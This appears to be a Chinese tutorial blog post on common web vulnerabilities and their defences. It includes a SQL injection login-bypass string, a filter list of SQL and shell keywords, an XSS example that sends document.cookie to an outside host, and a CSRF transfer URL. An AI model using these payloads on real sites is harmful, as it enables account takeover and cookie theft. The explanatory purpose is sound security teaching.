WEB开发中常见漏洞
1、sql注入
SQL注入在黑客领域是一种非常常见的攻击手段,大家应该都听说过很多数据泄漏的案例,其中大部分都是采用SQL注入来获取数据的。
SQL注入一般是前端向后台提交数据的时候,在数据中加入SQL语句,改变后台本来要执行的SQL语句!例如:
原SQL语句为:select * from users where username='name' and password=md5('pwd')
通过SQL注入,将用户名设置为:'name' or 1=1# SQL语句就变成了
select * from users where username='name' or 1=1#' and password=md5('pwd')
对于SQL解析器来说,一般认为#后面的内容是被注释调的,所以实际上执行的 select * from users where username='name' or 1=1
这样,用户无需输入密码,便可达到拥有密码的效果。
SQL注入的解决方案一般是增加SQL过滤器,检测前端传过来的内容是否含有非法字符,常见的非法字符:
'| and |exec|execute|insert|select|delete|update|count|drop|*|chr|mid|master|truncate|char|declare|sitename|net user|xp_cmdshell|;|,|like'|exec|execute|insert|create|drop|table|from|grant|use |group_concat|column_name|information_schema.columns|table_schema|union|where|select|delete|update|order|by|count|*|chr|mid|master|truncate|char|declare| or |--| + |,| like
2、校验逻辑放到前端
以本人以前维护的一个网站为例,当初开发者对图片验证码校验的逻辑都放在了前端,
校验过程是这样的,当用户点击登录之后,去后台请求验证码,然后跟用户输入的验证码比较,如果一致就通过,想想这个逻辑也只能呵呵了。
总结一下经验就是,所以的校验逻辑,尽可能的放到后台验证,前端的任何校验都是有可能被绕过的。
3、攻击短信验证码接口
目前大部分网站在注册时,都需要验证手机号,或者登录方式提供了使用手机号+短信验证码登录,于是便有人可以模拟用户注册,频繁的攻击短信发送接口。解决方案有两种:对同一手机号,统一IP地址进程请求次数限制。当然,攻击者可以频繁的换手机号,也可以使用‘肉机’等方式频繁的换IP地址。这时候,限制IP和手机号的方式似乎就不能奏效了。
另一种方式是在请求发送验证码之前,需要用户先输入图片验证码,当图片验证码校验成功后(切记,要在后台校验),再发送短信验证码,这样攻击者可能就需要一定的攻击成本了。
如果已上方式都不能奏效,好了,从业务角度入手,将手机号的验证放在登录之后吧。
4、XSS跨站脚本注入
XSS跨域请求类似于SQL注入,也是向代码中注入非法代码,不同之处在于这里注入的一般是js代码,攻击的是客户端;
例如在一个可以发文章的网站,发布了一片文章,文章里故意插入一些可执行的JS脚本(如:<script>window.open(“http://letsgogo.top”+document.cookie)</script>),这样,如果客户端处理不当,就有可能遭受攻击。
解决办法是跟防止SQL注入类似,对于用户提交的数据进行检测,如果部分特殊字符必须保留,也应该进行转义。
5、大量请求压力
一般情况是向服务器发送大量的非法请求或正常请求,对服务器造成一定的压力甚至瘫痪,导致正常的业务不能及时处理。
一般上线的WEB服务都应该对承受的能力有一个预估,然后在硬件或者软件层做并发控制。防止出现此此种情况。
6、验证码爆破
一般是通过爆破的方式,碰撞用户收到的真实手机验证码,目前验证码一般是4位~5位 一般的爆破工具,几分钟就可以试完。
解决方案比较简单,对于同一手机号,尝试次数大于几次之后,验证码自动失效。
7、CSRF漏洞
中文名称是跨站请求伪造,举一个例子,
受害者 Bob 在银行有一笔存款,通过对银行的网站发送请求 http://bank.example/withdraw?account=bob&amount=1000000&for=bob2 可以使 Bob 把 1000000 的存款转到 bob2 的账号下。通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该 session 的用户 Bob 已经成功登陆。
黑客 Mallory 自己在该银行也有账户,他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个请求给银行:http://bank.example/withdraw?account=bob& amount=1000000&for=Mallory。但是这个请求来自 Mallory 而非 Bob,他不能通过安全认证,因此该请求不会起作用。
这时,Mallory 想到使用 CSRF 的攻击方式,他先自己做一个网站,在网站中放入如下代码: src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory ”,并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时,上述 url 就会从 Bob 的浏览器发向银行,而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。大多数情况下,该请求会失败,因为他要求 Bob 的认证信息。但是,如果 Bob 当时恰巧刚访问他的银行后不久,他的浏览器与银行网站之间的 session 尚未过期,浏览器的 cookie 之中含有 Bob 的认证信息。这时,悲剧发生了,这个 url 请求就会得到响应,钱将从 Bob 的账号转移到 Mallory 的账号,而 Bob 当时毫不知情。等以后 Bob 发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外。
8、权限控制漏洞
一般网站需要有一个完善的权限管理体系,理论上应该对所有的URL路径都进行权限控制,千万不要以为页面没有入口,就不能访问了。
在此,更加建议采用RESTFUL风格设计URL路径,这样更加的便于做权限控制、监控、统计等工作。
WEB开发中常见漏洞的更多相关文章
- web开发中常见的安全漏洞及避免方法
1.安全攻击 1.SQL.HTML.JS.OS命令注入 2.XSS跨站脚本攻击,利用站内信任的用户,在web页面插入恶意script代码 3.CSRF跨站请求伪造,通过伪装来自信任用户的请求来利用受信 ...
- WEB开发中常见的漏洞
一.SQL注入漏洞 SQL注入攻击(SQL Injection),简称注入攻击.SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞.在设计程序,忽略了对输入字符串中夹带的 ...
- PHP开发中常见的漏洞及防范
PHP开发中常见的漏洞及防范 对于PHP的漏洞,目前常见的漏洞有五种.分别是Session文件漏洞.SQL注入漏洞.脚本命令执行漏洞.全局变量漏洞和文件漏洞.这里分别对这些漏洞进行简要的介绍和防范. ...
- WEB开发中一些常见的攻击方式及简单的防御方法
WEB开发中一些常见的攻击方式及简单的防御方法 转载:http://blog.csdn.net/seven__________7/article/details/70896913
- PHP开发中常见的安全问题详解和解决方法(如Sql注入、CSRF、Xss、CC等
页面导航: 首页 → 网络编程 → PHP编程 → php技巧 → 正文内容 PHP安全 PHP开发中常见的安全问题详解和解决方法(如Sql注入.CSRF.Xss.CC等) 作者: 字体:[增加 减小 ...
- Web开发中的18个关键性错误
前几年,我有机会能参与一些有趣的项目,并且独立完成开发.升级.重构以及新功能的开发等工作. 本文总结了一些PHP程序员在Web开发中经常 忽略的关键错误,尤其是在处理中大型的项目上问题更为突出.典型的 ...
- web开发中的安全问题
web开发中很多东西由前段来负责判断,比如常见的邮箱 电话号码,前端判断到不是一个正确的格式,在你点击提交时候提示你格式填错了,然后不请求后端php,直到你填写正确的格式为止.这种其实可以修改js或者 ...
- 【初码干货】使用阿里云对Web开发中的资源文件进行CDN加速的深入研究和实践
提示:阅读本文需提前了解的相关知识 1.阿里云(https://www.aliyun.com) 2.阿里云CDN(https://www.aliyun.com/product/cdn) 3.阿里云OS ...
- WEB开发中的字符集和编码
html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,bi ...
随机推荐
- std::condition_variable(3)复习
#include <iostream> // std::cout #include <thread> // std::thread #include <mutex> ...
- ZOJ1119(SPF)
题目链接:传送门 题目大意:一副无向图,问有多少个节点满足删除该节点后图不连通,对于每个满足条件的节点,输出节点编号及删除节点将图分为几个连通块.若没有节点满足则输出No SPF nodes 题目思路 ...
- 学生成绩管理系统【c】
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<conio.h> #d ...
- golang 模板(template)的常用基本语法
1. 模板 在写动态页面的网站的时候,我们常常将不变的部分提出成为模板,可变部分通过后端程序的渲染来生成动态网页,golang提供了html/template包来支持模板渲染. 这篇文章不讨论gola ...
- 20160924-1——mysql存储引擎
一.主要存储引擎 5.5以后的版本,默认存储引擎从myisam改成了innodb:线上推荐都用innodb 二.innodb存储引擎 (一)结构 INNODB存储引擎大致分三部分,图中已经(1)(2) ...
- 【转】NPIV - 连接虚拟机与存储的桥梁
转自:http://blog.csdn.net/jewes/article/details/7705895 解决什么问题 我们知道在存储区域网络(SAN:storage area network),主 ...
- MySQL中InnoDB存储引擎中的哈希算法
InnoDB存储引擎使用哈希算法来对字典进行查找,其冲突机制采用链表方式,哈希函数采用除法散列方式.对于缓冲池页的哈希表来说,在缓冲池中的Page页都有一个chain指针.它指向相同哈希函数值的页的. ...
- 斯坦福大学Andrew Ng - 机器学习笔记(3) -- 神经网络模型
大概用了一个月,Andrew Ng老师的机器学习视频断断续续看完了,以下是个人学习笔记,入门级别,权当总结.笔记难免有遗漏和误解,欢迎讨论. 鸣谢:中国海洋大学黄海广博士提供课程视频和个人笔记,在此深 ...
- web.xml文件配置说明
web.xml作用: web.xml主要用来配置Filter.Listener.Servlet等,当我们去启动一个WEB项目时,容器(jetty.tomcat等)首先会读取项目web.xml配置文件里 ...
- vloatile总结与synchronized对比
原文地址:https://www.cnblogs.com/xiaoxian1369/p/5411877.html 1.要使volatile变量提供理想的线程安全,必须同时满足以下两个条件:1).对变量 ...